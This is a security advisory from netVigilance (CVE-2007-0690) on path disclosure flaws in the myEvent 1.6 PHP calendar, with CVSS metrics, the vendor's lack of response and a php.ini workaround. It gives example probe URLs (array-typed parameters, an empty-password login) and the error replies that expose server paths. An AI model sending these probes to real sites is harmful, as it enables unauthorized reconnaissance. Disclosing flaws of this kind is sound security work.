myEvent version 1.6 Multiple Path Disclosure Vulnerabilities
netVigilance Security Advisory #24
myEvent version 1.6 Multiple Path Disclosure Vulnerabilities
Description:
myEvent is Dynamic Calendar based Events Management system with admin panel for
adding events, edit and delete built using PHP & mySQL. Display today's event
and future events links on the calendar, Event will be displayed in 3 mode eg :
pop-up, new windows and on same screen once link is clicked. There is also a
mouse-over tool tip to display the events Template based and Simple easily
intergrated to any websites.
External References:
Mitre CVE: CVE-2007-0690
NVD NIST: CVE-2007-0690
OSVDB: 34272
Summary:
myEvent is Dynamic Calendar based Events Management system with admin panel for
adding events, edit and delete built using PHP and mySQL.
Multiple pass disclosure vulnerabilities in the product allow attackers to
gather the true path of the server-side script.
Advisory URL:
http://www.netvigilance.com/advisory0024
Release Date:
05/28/2007
Severity:
Risk: Low
CVSS Metrics
Access Vector: Remote
Access Complexity: Low
Authentication: Not-required
Confidentiality Impact: Partial
Integrity Impact: None
Availability Impact: None
Impact Bias: Normal
CVSS Base Score: 2.3
Target Distribution on Internet: Low
Exploitability: Functional Exploit
Remediation Level: Workaround
Report Confidence: Uncorroborated
Vulnerability Impact: Attack
Host Impact: Path disclosure.
SecureScout Testcase ID:
TC 17954
Vulnerable Systems:
myEvent version 1.6
Vulnerability Type:
Program flaw - The myevent.php and login.php scripts has flaws which lead to
Warnings or even Fatal Error.
Vendor:
myWebland
Vendor Status:
The Vendor has been notified several times on many different email addresses
last on 15 May 2007. The Vendor has not responded. There is no official fix at
the release of this Security Advisory.
Workaround:
Disable warning messages: modify in the php.ini file following line:
display_errors = Off. Or modify .htaccess file (this will work only for the
apache servers).
Example:
Path Disclosure Vulnerability 1:
REQUEST:
http://[TARGET]/[PRODUCT-DIRECTORY]/myevent.php?monthno[]=2&year=2007
REPLY:
<b>Warning</b>: htmlspecialchars() expects parameter 1 to be string, array
given in <b>[DISCLOSED PATH]\[PRODUCT-DIRECTORY]\initialize.php</b> on line
<b>71</b><br />
Path Disclosure Vulnerability 2:
REQUEST
http://[TARGET]/[PRODUCT-DIRECTORY]/ myevent.php?view[]=1
REPLY:
<b>Warning</b>: htmlspecialchars() expects parameter 1 to be string, array
given in <b>[DISCLOSED PATH]\[PRODUCT-DIRECTORY]initialize.php</b> on line
<b>83</b><br />
Path Disclosure Vulnerability 3:
REQUEST:
http://[TARGET]/[PRODUCT-DIRECTORY]/login.php
Enter Login but do not enter password. Click "Log In"
REPLY:
<b>Fatal error</b>: Call to undefined function: notice() in <b>[DISCLOSED
PATH]\[PRODUCT-DIRECTORY]\login.php</b> on line <b>29</b><br />
Credits:
Jesper Jurcenoks
Co-founder netVigilance, Inc
www.netvigilance.com